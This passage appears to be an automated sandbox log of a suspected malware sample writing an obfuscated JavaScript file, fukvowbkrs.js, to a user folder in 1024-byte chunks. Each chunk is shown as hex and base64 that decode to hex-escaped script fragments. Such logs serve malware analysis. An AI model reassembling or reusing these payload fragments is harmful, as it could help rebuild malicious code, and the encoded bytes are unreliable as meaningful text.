67 32 4e 6c 78 34 4e 
7a 56 63 65 44 4a 47 
58 48 67 32 4e 56 78 
34 4e 6b 46 63 65 44 
63 7a 58 48 67 7a 4e 
31 78 34 4e 7a 56 63 
65 44 5a 

XHg3NVx4NDJceDczXHg
2RFx4NTmceD
Y2XHg2QVx4NkFceDYzX
Hg0Qlx4NTZc
eDYyXHg2RVx4NDZceDc
xXHgyQlx4Nj
ZceDU2XHgzRVx4MjVce
DQwXHg0OVx4
NTRceDZBXHg0Q1x4NjV
ceDY3XHgzMF
x4NzmceDUxXHgzNlx4ND
lceDY3XHg0
Rlx4NDJceDc5XHg0RFx4
MzmceDMyXH
g2Nlx4NzVceDJGXHg2NV
x4NkFceDcz
XHgzN1x4NzVceDZ
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C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 30 51 56 78 
34 4e 6a 52 63 65 44 
52 47 58 48 67 30 52 
56 78 34 4e 54 52 63 
65 44 4d 32 58 48 67 
33 4d 46 78 34 4e 7a 
4a 63 65 44 59 31 58 
48 67 32 4d 56 78 34 
4e 6b 52 63 65 44 5a 
43 58 48 67 33 4e 46 
78 34 4e 6b 56 63 65 
44 55 78 58 48 67 33 
4e 6c 78 34 4e 6a 68 
63 65 44 4d 77 58 48 
67 32 4f 56 78 34 4e 
45 4a 63 65 44 63 33 
58 48 67 7a 4d 56 78 
34 4e 54 4a 63 65 44 
51 33 58 48 67 79 52 
6c 78 34 4e 7a 42 63 
65 44 59 33 58 48 67 
31 4d 6c 78 34 4e 44 
6c 63 65 44 52 46 58 
48 67 32 4f 56 78 34 
4d 7a 6d 63 65 44 5a 
45 58 48 67 31 4d 31 
78 34 4e 44 6c 63 65 
44 52 44 58 48 67 31 
4e 6c 78 34 4e 45 5a 
63 65 44 52 45 58 48 
67 32 4d 6c 78 34 4d 
7a 46 63 65 44 59 79 
58 48 67 32 4d 31 78 
34 4e 45 46 63 65 44 
51 7a 58 48 67 7a 4d 
46 78 34 4e 6a 4a 63 
65 44 63 

XHg0QVx4NjRceDRGXHg
0RVx4NTRceD
M2XHg3MFx4NzJceDY1X
Hg2MVx4NkRc
eDZCXHg3NFx4NkVceDU
xXHg3Nlx4Nj
hceDMwXHg2OVx4NEJce
Dc3XHgzMVx4
NTJceDQ3XHgyRlx4NzBc
eDY3XHg1Ml
x4NDlceDRFXHg2OVx4M
zmceDZEXHg1
M1x4NDlceDRDXHg1Nlx4
NEZceDREXH
g2Mlx4MzFceDYyXHg2M1
x4NEFceDQz
XHgzMFx4NjJceDc

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 7a 4e 46 78 
34 4e 7a 68 63 65 44 
4d 33 58 48 67 30 51 
31 78 34 4e 6b 4e 63 
65 44 63 34 58 48 67 
31 4d 56 78 34 4e 7a 
4a 63 65 44 55 32 58 
48 67 31 51 56 78 34 
4e 7a 5a 63 65 44 55 
32 58 48 67 32 51 6c 
78 34 4d 7a 6c 63 65 
44 6d 42 58 48 67 32 
4d 56 78 34 4e 6a 4a 
63 65 44 59 35 58 48 
67 32 51 6c 78 34 4e 
6a 52 63 65 44 5a 44 
58 48 67 30 4e 6c 78 
34 4d 7a 52 63 65 44 
52 45 58 48 67 31 4e 
6c 78 34 4e 44 52 63 
65 44 52 43 58 48 67 
32 52 56 78 34 4e 45 
5a 63 65 44 5a 42 58 
48 67 32 4e 31 78 34 
4e 7a 42 63 65 44 55 
78 58 48 67 30 4e 31 
78 34 4e 45 5a 63 65 
44 63 79 58 48 67 32 
4e 46 78 34 4e 45 4e 
63 65 44 55 33 58 48 
67 7a 4f 46 78 34 4e 
7a 52 63 65 44 51 79 
58 48 67 31 4d 56 78 
34 4e 6a 4a 63 65 44 
5a 45 58 48 67 31 4f 
46 78 34 4e 30 46 63 
65 44 59 

XHgzNFx4NzhceDM3XHg
0Q1x4NkNceD
c4XHg1MVx4NzJceDU2X
Hg1QVx4NzZc
eDU2XHg2Qlx4MzlceDmB
XHg2MVx4Nj
JceDY5XHg2Qlx4NjRceD
ZDXHg0Nlx4
MzRceDREXHg1Nlx4NDR
ceDRCXHg2RV
x4NEZceDZBXHg2N1x4N
zBceDUxXHg0
N1x4NEZceDcyXHg2NFx4
NENceDU3XH
gzOFx4NzRceDQyXHg1M
Vx4NjJceDZE
XHg1OFx4N0FceDY
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C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 32 4f 46 78 
34 4e 44 52 63 65 44 
55 33 58 48 67 32 4e 
56 78 34 4e 7a 52 63 
65 44 52 44 58 48 67 
33 51 56 78 34 4e 54 
4e 63 65 44 4a 47 58 
48 67 33 4d 46 78 34 
4e 6b 46 63 65 44 63 
33 58 48 67 7a 4e 46 
78 34 4e 45 5a 63 65 
44 63 33 58 48 67 31 
4e 46 78 34 4e 54 68 
63 65 44 4d 31 58 48 
67 31 4f 46 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 45 46 63 65 44 
55 7a 58 48 67 30 51 
56 78 34 4d 7a 56 63 
65 44 56 42 58 48 67 
7a 4e 6c 78 34 4d 6b 
5a 63 65 44 59 32 58 
48 67 30 4e 46 78 34 
4e 44 5a 63 65 44 59 
30 58 48 67 30 4e 46 
78 34 4e 7a 56 63 65 
44 52 44 58 48 67 33 
4e 31 78 34 4e 54 52 
63 65 44 4d 35 58 48 
67 33 51 56 78 34 4e 
45 52 63 65 44 59 78 
58 48 67 30 51 31 78 
34 4e 6a 56 63 65 44 
55 33 58 48 67 7a 4d 
6c 78 34 4e 7a 6d 63 
65 44 63 

XHg2OFx4NDRceDU3XHg
2NVx4NzRceD
RDXHg3QVx4NTNceDJG
XHg3MFx4NkFc
eDc3XHgzNFx4NEZceDc3
XHg1NFx4NT
hceDM1XHg1OFx4M0Vce
DI1XHg0MFx4
NEFceDUzXHg0QVx4MzV
ceDVBXHgzNl
x4MkZceDY2XHg0NFx4N
DZceDY0XHg0
NFx4NzVceDRDXHg3N1x
4NTRceDM5XH
g3QVx4NERceDYxXHg0Q
1x4NjVceDU3
XHgzMlx4NzmceDc

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 31 4e 31 78 
34 4e 7a 6c 63 65 44 
52 42 58 48 67 30 52 
56 78 34 4e 6b 4e 63 
65 44 63 7a 58 48 67 
30 4d 31 78 34 4e 7a 
4e 63 65 44 6d 42 58 
48 67 32 51 56 78 34 
4e 6b 46 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 55 79 58 48 67 7a 
4d 46 78 34 4e 45 5a 
63 65 44 55 30 58 48 
67 31 51 56 78 34 4e 
7a 6d 63 65 44 51 32 
58 48 67 32 4e 56 78 
34 4e 55 46 63 65 44 
55 33 58 48 67 33 4e 
56 78 34 4e 6b 56 63 
65 44 59 78 58 48 67 
7a 4e 6c 78 34 4e 6b 
5a 63 65 44 63 78 58 
48 67 7a 4d 31 78 34 
4e 45 4e 63 65 44 51 
30 58 48 67 31 4f 56 
78 34 4e 7a 52 63 65 
44 59 31 58 48 67 31 
4e 6c 78 34 4e 6a 68 
63 65 44 55 31 58 48 
67 30 52 6c 78 34 4e 
54 46 63 65 44 51 31 
58 48 67 30 4e 6c 78 
34 4e 44 56 63 65 44 
51 32 58 48 67 32 51 
6c 78 34 4e 7a 46 63 
65 44 56 

XHg1N1x4NzlceDRBXHg0
RVx4NkNceD
czXHg0M1x4NzNceDmBX
Hg2QVx4NkFc
eDNFXHgyNVx4NDBceDU
yXHgzMFx4NE
ZceDU0XHg1QVx4Nzmce
DQ2XHg2NVx4
NUFceDU3XHg3NVx4NkV
ceDYxXHgzNl
x4NkZceDcxXHgzM1x4NE
NceDQ0XHg1
OVx4NzRceDY1XHg1Nlx4
NjhceDU1XH
g0Rlx4NTFceDQ1XHg0Nlx
4NDVceDQ2
XHg2Qlx4NzFceDV
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C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 7a 4e 31 78 
34 4e 54 6c 63 65 44 
4d 7a 58 48 67 33 4e 
46 78 34 4e 54 52 63 
65 44 52 47 58 48 67 
31 4d 6c 78 34 4e 6b 
46 63 65 44 4d 7a 58 
48 67 33 51 56 78 34 
4d 7a 6c 63 65 44 55 
30 58 48 67 30 52 56 
78 34 4d 7a 6d 63 65 
44 5a 47 58 48 67 7a 
4d 56 78 34 4d 7a 46 
63 65 44 4d 33 58 48 
67 30 4e 31 78 34 4d 
7a 4e 63 65 44 63 32 
58 48 67 31 4d 31 78 
34 4e 44 4a 63 65 44 
4a 47 58 48 67 30 4d 
6c 78 34 4e 6b 4e 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 5a 44 58 
48 67 7a 4d 56 78 34 
4e 54 56 63 65 44 55 
31 58 48 67 32 4e 46 
78 34 4e 7a 5a 63 65 
44 55 79 58 48 67 7a 
4d 6c 78 34 4d 6b 4a 
63 65 44 52 42 58 48 
67 32 52 56 78 34 4e 
55 46 63 65 44 63 78 
58 48 67 31 4f 56 78 
34 4e 54 4a 63 65 44 
55 34 58 48 67 33 4e 
6c 78 34 4e 6a 4e 63 
65 44 59 

XHgzN1x4NTlceDMzXHg3
NFx4NTRceD
RGXHg1Mlx4NkFceDMzX
Hg3QVx4Mzlc
eDU0XHg0RVx4MzmceDZ
GXHgzMVx4Mz
FceDM3XHg0N1x4MzNce
Dc2XHg1M1x4
NDJceDJGXHg0Mlx4NkN
ceDNFXHgyNV
x4NDBceDZDXHgzMVx4N
TVceDU1XHg2
NFx4NzZceDUyXHgzMlx4
MkJceDRBXH
g2RVx4NUFceDcxXHg1O
Vx4NTJceDU4
XHg3Nlx4NjNceDY

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 32 4d 56 78 
34 4e 6a 46 63 65 44 
59 33 58 48 67 30 4e 
56 78 34 4d 7a 52 63 
65 44 4d 7a 58 48 67 
33 4e 46 78 34 4e 54 
46 63 65 44 59 30 58 
48 67 7a 4e 31 78 34 
4e 7a 68 63 65 44 4d 
35 58 48 67 32 51 6c 
78 34 4e 54 4a 63 65 
44 55 77 58 48 67 31 
4d 46 78 34 4e 45 56 
63 65 44 51 31 58 48 
67 30 52 56 78 34 4e 
45 5a 63 65 44 6d 42 
58 48 67 31 4f 46 78 
34 4d 7a 4e 63 65 44 
4a 43 58 48 67 30 52 
56 78 34 4e 7a 42 63 
65 44 55 33 58 48 67 
31 4d 56 78 34 4e 44 
4e 63 65 44 4d 30 58 
48 67 31 4e 56 78 34 
4e 44 56 63 65 44 4d 
30 58 48 67 30 4e 6c 
78 34 4e 54 68 63 65 
44 4d 78 58 48 67 33 
4d 46 78 34 4e 7a 56 
63 65 44 6d 42 58 48 
67 7a 4d 31 78 34 4d 
7a 6d 63 65 44 5a 46 
58 48 67 31 4e 46 78 
34 4d 7a 46 63 65 44 
55 30 58 48 67 30 52 
6c 78 34 4e 30 46 63 
65 44 59 

XHg2MVx4NjFceDY3XHg
0NVx4MzRceD
MzXHg3NFx4NTFceDY0X
HgzN1x4Nzhc
eDM5XHg2Qlx4NTJceDU
wXHg1MFx4NE
VceDQ1XHg0RVx4NEZce
DmBXHg1OFx4
MzNceDJCXHg0RVx4NzB
ceDU3XHg1MV
x4NDNceDM0XHg1NVx4N
DVceDM0XHg0
Nlx4NThceDMxXHg3MFx4
NzVceDmBXH
gzM1x4MzmceDZFXHg1N
Fx4MzFceDU0
XHg0Rlx4N0FceDY
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C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 7a 4f 46 78 
34 4e 6a 52 63 65 44 
63 77 58 48 67 31 4f 
56 78 34 4d 7a 6c 63 
65 44 4d 77 58 48 67 
30 4f 56 78 34 4e 45 
56 63 65 44 55 79 58 
48 67 7a 4f 46 78 34 
4e 6a 6c 63 65 44 63 
77 58 48 67 32 4d 56 
78 34 4e 45 56 63 65 
44 4d 77 58 48 67 31 
4e 56 78 34 4d 7a 56 
63 65 44 51 35 58 48 
67 7a 4d 6c 78 34 4e 
44 4a 63 65 44 51 34 
58 48 67 30 51 31 78 
34 4e 44 6c 63 65 44 
55 34 58 48 67 7a 4f 
56 78 34 4d 7a 4a 63 
65 44 59 31 58 48 67 
7a 4d 46 78 34 4e 44 
52 63 65 44 51 34 58 
48 67 33 4d 56 78 34 
4e 44 52 63 65 44 51 
79 58 48 67 79 51 6c 
78 34 4e 6b 46 63 65 
44 55 33 58 48 67 31 
4e 56 78 34 4e 6b 56 
63 65 44 59 78 58 48 
67 30 52 56 78 34 4e 
44 56 63 65 44 52 42 
58 48 67 32 51 31 78 
34 4e 6a 56 63 65 44 
59 31 58 48 67 32 51 
6c 78 34 4e 6b 5a 63 
65 44 55 

XHgzOFx4NjRceDcwXHg1
OVx4MzlceD
MwXHg0OVx4NEVceDUy
XHgzOFx4Njlc
eDcwXHg2MVx4NEVceD
MwXHg1NVx4Mz
VceDQ5XHgzMlx4NDJce
DQ4XHg0Q1x4
NDlceDU4XHgzOVx4MzJc
eDY1XHgzMF
x4NDRceDQ4XHg3MVx4N
DRceDQyXHgy
Qlx4NkFceDU3XHg1NVx4
NkVceDYxXH
g0RVx4NDVceDRBXHg2Q
1x4NjVceDY1
XHg2Qlx4NkZceDU

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 33 58 48 67 31 4e 
46 78 34 4e 7a 46 63 
65 44 52 43 58 48 67 
32 4f 46 78 34 4d 6b 
5a 63 65 44 56 42 58 
48 67 33 4d 46 78 34 
4e 54 52 63 65 44 63 
78 58 48 67 30 52 46 
78 34 4d 7a 46 63 65 
44 63 79 58 48 67 33 
4e 46 78 34 4e 45 4a 
63 65 44 5a 42 58 48 
67 31 4d 6c 78 34 4d 
7a 6d 63 65 44 59 33 
58 48 67 32 4e 31 78 
34 4d 7a 6d 63 65 44 
4d 78 58 48 67 30 4d 
6c 78 34 4e 7a 6d 63 
65 44 4d 31 58 48 67 
32 52 56 78 34 4e 7a 
46 63 65 44 59 30 58 
48 67 30 51 31 78 34 
4e 7a 42 63 65 44 63 
31 58 48 67 30 4f 56 
78 34 4e 45 5a 63 65 
44 63 35 58 48 67 31 
4e 46 78 34 4e 6b 52 
63 65 44 55 79 58 48 
67 33 4f 56 78 34 4e 
44 4a 63 65 44 52 43 
58 48 67 32 4d 6c 78 
34 4e 54 5a 63 65 44 
6d 42 58 48 67 30 4d 
6c 78 34 4e 45 52 63 
65 44 55 34 58 48 67 
31 4f 56 78 34 4e 6a 
56 63 65 

c3XHg1NFx4NzFceDRCX
Hg2OFx4MkZc
eDVBXHg3MFx4NTRceDc
xXHg0RFx4Mz
FceDcyXHg3NFx4NEJceD
ZBXHg1Mlx4
MzmceDY3XHg2N1x4Mz
mceDMxXHg0Ml
x4NzmceDM1XHg2RVx4N
zFceDY0XHg0
Q1x4NzBceDc1XHg0OVx
4NEZceDc5XH
g1NFx4NkRceDUyXHg3O
Vx4NDJceDRC
XHg2Mlx4NTZceDmBXHg
0Mlx4NERceD
U4XHg1OVx4NjVce
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C:\Users\user\fukvowbkrs.js unknown 1024 5a 45 58 48 67 33 4d 
46 78 34 4e 44 6d 63 
65 44 63 32 58 48 67 
31 4e 6c 78 34 4e 7a 
68 63 65 44 59 30 58 
48 67 32 52 6c 78 34 
4d 7a 4a 63 65 44 55 
78 58 48 67 33 4d 56 
78 34 4d 7a 4a 63 65 
44 4d 7a 58 48 67 32 
51 6c 78 34 4e 54 5a 
63 65 44 5a 47 58 48 
67 32 51 56 78 34 4e 
7a 5a 63 65 44 4d 78 
58 48 67 30 52 6c 78 
34 4e 45 4a 63 65 44 
51 32 58 48 67 33 4d 
56 78 34 4d 7a 4e 63 
65 44 55 34 58 48 67 
30 52 46 78 34 4d 7a 
6c 63 65 44 4d 30 58 
48 67 79 52 6c 78 34 
4e 7a 4e 63 65 44 4a 
43 58 48 67 32 4d 31 
78 34 4d 7a 56 63 65 
44 5a 43 58 48 67 79 
52 6c 78 34 4e 54 52 
63 65 44 63 33 58 48 
67 30 51 6c 78 34 4e 
54 42 63 65 44 4d 77 
58 48 67 33 4d 31 78 
34 4e 7a 4e 63 65 44 
63 31 58 48 67 32 51 
6c 78 34 4e 7a 68 63 
65 44 59 79 58 48 67 
30 51 6c 78 34 4e 54 
56 63 65 

ZEXHg3MFx4NDmceDc2
XHg1Nlx4Nzhc
eDY0XHg2Rlx4MzJceDUx
XHg3MVx4Mz
JceDMzXHg2Qlx4NTZceD
ZGXHg2QVx4
NzZceDMxXHg0Rlx4NEJc
eDQ2XHg3MV
x4MzNceDU4XHg0RFx4M
zlceDM0XHgy
Rlx4NzNceDJCXHg2M1x4
MzVceDZCXH
gyRlx4NTRceDc3XHg0Qlx
4NTBceDMw
XHg3M1x4NzNceDc1XHg
2Qlx4NzhceD
YyXHg0Qlx4NTVce

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 52 44 58 48 67 30 4e 
56 78 34 4e 7a 52 63 
65 44 4d 30 58 48 67 
32 4d 6c 78 34 4e 6b 
4a 63 65 44 51 30 58 
48 67 33 4e 6c 78 34 
4d 7a 46 63 65 44 5a 
44 58 48 67 31 4d 31 
78 34 4e 54 6d 63 65 
44 4d 30 58 48 67 32 
4d 31 78 34 4e 6b 5a 
63 65 44 4d 79 58 48 
67 79 51 6c 78 34 4e 
6a 4e 63 65 44 63 31 
58 48 67 30 4e 56 78 
34 4e 54 6c 63 65 44 
59 31 58 48 67 31 4d 
31 78 34 4e 7a 46 63 
65 44 5a 43 58 48 67 
33 4d 46 78 34 4e 45 
4a 63 65 44 5a 46 58 
48 67 7a 4d 56 78 34 
4d 7a 46 63 65 44 55 
7a 58 48 67 31 51 56 
78 34 4d 7a 56 63 65 
44 59 31 58 48 67 32 
4d 6c 78 34 4d 7a 52 
63 65 44 52 42 58 48 
67 31 4f 46 78 34 4e 
54 4a 63 65 44 52 46 
58 48 67 33 4d 6c 78 
34 4e 7a 6d 63 65 44 
4d 35 58 48 67 30 4e 
56 78 34 4e 54 46 63 
65 44 4d 31 58 48 67 
33 4d 31 78 34 4e 6a 
5a 63 65 

RDXHg0NVx4NzRceDM0
XHg2Mlx4NkJc
eDQ0XHg3Nlx4MzFceDZ
DXHg1M1x4NT
mceDM0XHg2M1x4NkZce
DMyXHgyQlx4
NjNceDc1XHg0NVx4NTlce
DY1XHg1M1
x4NzFceDZCXHg3MFx4N
EJceDZFXHgz
MVx4MzFceDUzXHg1QVx
4MzVceDY1XH
g2Mlx4MzRceDRBXHg1O
Fx4NTJceDRF
XHg3Mlx4NzmceDM5XHg
0NVx4NTFceD
M1XHg3M1x4NjZce

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 5a 45 58 48 67 30 4e 
56 78 34 4e 7a 6c 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 63 33 58 
48 67 31 4d 46 78 34 
4d 7a 4a 63 65 44 4d 
33 58 48 67 31 4d 6c 
78 34 4e 44 4a 63 65 
44 59 7a 58 48 67 30 
4e 56 78 34 4d 7a 68 
63 65 44 4d 7a 58 48 
67 32 4d 56 78 34 4d 
7a 4a 63 65 44 4d 78 
58 48 67 32 51 56 78 
34 4e 7a 42 63 65 44 
4d 34 58 48 67 30 51 
56 78 34 4e 6b 4a 63 
65 44 55 34 58 48 67 
31 4f 56 78 34 4e 54 
6c 63 65 44 63 31 58 
48 67 30 4f 46 78 34 
4d 7a 4e 63 65 44 59 
32 58 48 67 30 4e 46 
78 34 4e 54 68 63 65 
44 4d 32 58 48 67 32 
51 31 78 34 4e 6a 46 
63 65 44 63 32 58 48 
67 33 4d 56 78 34 4e 
6b 46 63 65 44 59 31 
58 48 67 31 4e 46 78 
34 4e 30 46 63 65 44 
4d 79 58 48 67 33 4d 
31 78 34 4e 54 68 63 
65 44 5a 47 58 48 67 
33 4d 56 78 34 4e 6a 
5a 63 65 

ZEXHg0NVx4NzlceDNFX
HgyNVx4NDBc
eDc3XHg1MFx4MzJceDM
3XHg1Mlx4ND
JceDYzXHg0NVx4Mzhce
DMzXHg2MVx4
MzJceDMxXHg2QVx4NzB
ceDM4XHg0QV
x4NkJceDU4XHg1OVx4N
TlceDc1XHg0
OFx4MzNceDY2XHg0NFx
4NThceDM2XH
g2Q1x4NjFceDc2XHg3MV
x4NkFceDY1
XHg1NFx4N0FceDMyXHg
3M1x4NThceD
ZGXHg3MVx4NjZce

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 55 30 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
32 4e 46 78 34 4d 7a 
46 63 65 44 52 42 58 
48 67 32 4e 56 78 34 
4e 44 6d 63 65 44 4d 
31 58 48 67 30 4e 56 
78 34 4d 6b 4a 63 65 
44 63 78 58 48 67 32 
52 56 78 34 4d 7a 56 
63 65 44 52 43 58 48 
67 33 4f 56 78 34 4e 
45 52 63 65 44 63 32 
58 48 67 30 4e 56 78 
34 4e 7a 42 63 65 44 
63 78 58 48 67 33 4e 
46 78 34 4e 7a 4a 63 
65 44 52 45 58 48 67 
32 52 6c 78 34 4e 54 
52 63 65 44 4d 33 58 
48 67 31 4e 56 78 34 
4e 54 52 63 65 44 59 
34 58 48 67 7a 4e 31 
78 34 4d 7a 68 63 65 
44 63 32 58 48 67 30 
4e 6c 78 34 4e 54 4a 
63 65 44 63 30 58 48 
67 30 51 31 78 34 4e 
6b 5a 63 65 44 55 33 
58 48 67 32 4d 31 78 
34 4d 7a 4e 63 65 44 
4d 78 58 48 67 33 4d 
46 78 34 4e 6a 46 63 
65 44 52 43 58 48 67 
32 52 56 78 34 4d 7a 
6c 63 65 

U0XHgzRVx4MjVceDQwX
Hg2NFx4MzFc
eDRBXHg2NVx4NDmceD
M1XHg0NVx4Mk
JceDcxXHg2RVx4MzVceD
RCXHg3OVx4
NERceDc2XHg0NVx4NzB
ceDcxXHg3NF
x4NzJceDREXHg2Rlx4NT
RceDM3XHg1
NVx4NTRceDY4XHgzN1x
4MzhceDc2XH
g0Nlx4NTJceDc0XHg0Q1
x4NkZceDU3
XHg2M1x4MzNceDMxXH
g3MFx4NjFceD
RCXHg2RVx4Mzlce

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 4a 43 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
30 51 6c 78 34 4e 6b 
56 63 65 44 51 7a 58 
48 67 30 4d 6c 78 34 
4d 7a 46 63 65 44 59 
78 58 48 67 30 51 31 
78 34 4d 30 56 63 65 
44 49 31 58 48 67 30 
4d 46 78 34 4e 6b 5a 
63 65 44 52 47 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 30 4e 46 78 
34 4e 54 68 63 65 44 
5a 47 58 48 67 30 52 
6c 78 34 4e 45 52 63 
65 44 55 78 58 48 67 
32 4f 46 78 34 4e 45 
4e 63 65 44 59 7a 58 
48 67 32 4e 31 78 34 
4e 45 46 63 65 44 59 
31 58 48 67 30 4f 56 
78 34 4e 54 5a 63 65 
44 52 45 58 48 67 7a 
4e 56 78 34 4e 7a 46 
63 65 44 4d 7a 58 48 
67 31 4e 46 78 34 4d 
6b 5a 63 65 44 52 45 
58 48 67 79 51 6c 78 
34 4d 6b 4a 63 65 44 
4a 47 58 48 67 30 4f 
46 78 34 4d 7a 6c 63 
65 44 4d 35 58 48 67 
32 4e 31 78 34 4d 7a 
6d 63 65 

JCXHgzRVx4MjVceDQwX
Hg0Qlx4NkVc
eDQzXHg0Mlx4MzFceDY
xXHg0Q1x4M0
VceDI1XHg0MFx4NkZceD
RGXHgzRVx4
MjVceDQwXHg0NFx4NTh
ceDZGXHg0Rl
x4NERceDUxXHg2OFx4N
ENceDYzXHg2
N1x4NEFceDY1XHg0OVx
4NTZceDREXH
gzNVx4NzFceDMzXHg1N
Fx4MkZceDRE
XHgyQlx4MkJceDJGXHg0
OFx4MzlceD
M5XHg2N1x4Mzmce

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 51 31 58 48 67 33 4d 
31 78 34 4e 44 68 63 
65 44 51 7a 58 48 67 
30 4d 31 78 34 4e 54 
4a 63 65 44 55 31 58 
48 67 33 4d 56 78 34 
4d 7a 4e 63 65 44 52 
46 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 31 4d 56 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 7a 4a 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 51 31 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 30 
4e 6c 78 34 4e 44 4a 
63 65 44 52 44 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 33 4e 31 78 
34 4e 54 46 63 65 44 
55 31 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 

Q1XHg3M1x4NDhceDQzX
Hg0M1x4NTJc
eDU1XHg3MVx4MzNceD
RFXHgzRVx4Mj
VceDQwXHgzRVx4MjVce
DQwXHg1MVx4
M0VceDI1XHg0MFx4M0V
ceDI1XHg0MF
x4NzJceDNFXHgyNVx4N
DBceDQ1XHgz
RVx4MjVceDQwXHgzRVx
4MjVceDQwXH
g0Nlx4NDJceDRDXHgzRV
x4MjVceDQw
XHg3N1x4NTFceDU1XHg
zRVx4MjVceD
QwXHgzRVx4MjVce

success or wait 12 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 63 31 58 48 67 31 4f 
56 78 34 4e 7a 46 63 
65 44 55 33 58 48 67 
30 4f 56 78 34 4e 45 
4a 63 65 44 4d 77 58 
48 67 31 4d 31 78 34 
4d 7a 68 63 65 44 55 
78 58 48 67 33 4d 31 
78 34 4e 54 4e 63 65 
44 55 32 58 48 67 30 
4f 56 78 34 4e 6b 4e 
63 65 44 59 78 58 48 
67 30 51 56 78 34 4e 
54 6d 63 65 44 51 7a 
58 48 67 7a 4d 56 78 
34 4e 6a 6c 63 65 44 
5a 42 58 48 67 31 4f 
56 78 34 4e 6a 6c 63 
65 44 63 79 58 48 67 
31 4d 6c 78 34 4e 45 
4e 63 65 44 63 34 58 
48 67 32 4e 56 78 34 
4e 7a 68 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 52 45 58 48 67 32 
4f 56 78 34 4d 7a 4e 
63 65 44 59 35 58 48 
67 30 4e 46 78 34 4e 
6a 6c 63 65 44 55 78 
58 48 67 31 4d 6c 78 
34 4e 44 5a 63 65 44 
63 32 58 48 67 30 4e 
6c 78 34 4e 45 56 63 
65 44 51 31 58 48 67 
33 4e 6c 78 34 4e 54 
6c 63 65 

c1XHg1OVx4NzFceDU3X
Hg0OVx4NEJc
eDMwXHg1M1x4MzhceD
UxXHg3M1x4NT
NceDU2XHg0OVx4NkNce
DYxXHg0QVx4
NTmceDQzXHgzMVx4Njlc
eDZBXHg1OV
x4NjlceDcyXHg1Mlx4NEN
ceDc4XHg2
NVx4NzhceDNFXHgyNVx
4NDBceDREXH
g2OVx4MzNceDY5XHg0N
Fx4NjlceDUx
XHg1Mlx4NDZceDc2XHg0
Nlx4NEVceD
Q1XHg3Nlx4NTlce

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 55 7a 58 48 67 32 4d 
6c 78 34 4e 44 6c 63 
65 44 59 79 58 48 67 
33 4e 6c 78 34 4e 45 
52 63 65 44 6d 42 58 
48 67 33 51 56 78 34 
4e 44 68 63 65 44 4d 
34 58 48 67 30 4e 6c 
78 34 4e 45 5a 63 65 
44 51 33 58 48 67 33 
4e 46 78 34 4e 7a 68 
63 65 44 5a 42 58 48 
67 79 51 6c 78 34 4e 
6a 6c 63 65 44 52 47 
58 48 67 30 4e 31 78 
34 4e 54 42 63 65 44 
51 33 58 48 67 32 4e 
6c 78 34 4d 7a 5a 63 
65 44 51 31 58 48 67 
7a 4e 46 78 34 4e 6a 
56 63 65 44 4d 34 58 
48 67 31 51 56 78 34 
4d 6b 5a 63 65 44 5a 
43 58 48 67 30 4e 31 
78 34 4e 44 4e 63 65 
44 52 44 58 48 67 32 
4e 6c 78 34 4e 44 4e 
63 65 44 63 7a 58 48 
67 30 4d 6c 78 34 4e 
44 6d 63 65 44 4d 77 
58 48 67 33 4d 31 78 
34 4e 6b 5a 63 65 44 
51 35 58 48 67 7a 4d 
31 78 34 4e 6b 4e 63 
65 44 63 30 58 48 67 
32 4d 31 78 34 4e 45 
5a 63 65 

UzXHg2Mlx4NDlceDYyXH
g3Nlx4NERc
eDmBXHg3QVx4NDhceD
M4XHg0Nlx4NE
ZceDQ3XHg3NFx4Nzhce
DZBXHgyQlx4
NjlceDRGXHg0N1x4NTBc
eDQ3XHg2Nl
x4MzZceDQ1XHgzNFx4Nj
VceDM4XHg1
QVx4MkZceDZCXHg0N1x
4NDNceDRDXH
g2Nlx4NDNceDczXHg0Ml
x4NDmceDMw
XHg3M1x4NkZceDQ5XHg
zM1x4NkNceD
c0XHg2M1x4NEZce

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 268 52 42 58 48 67 33 4e 
46 78 34 4e 6a 68 63 
65 44 51 30 58 48 67 
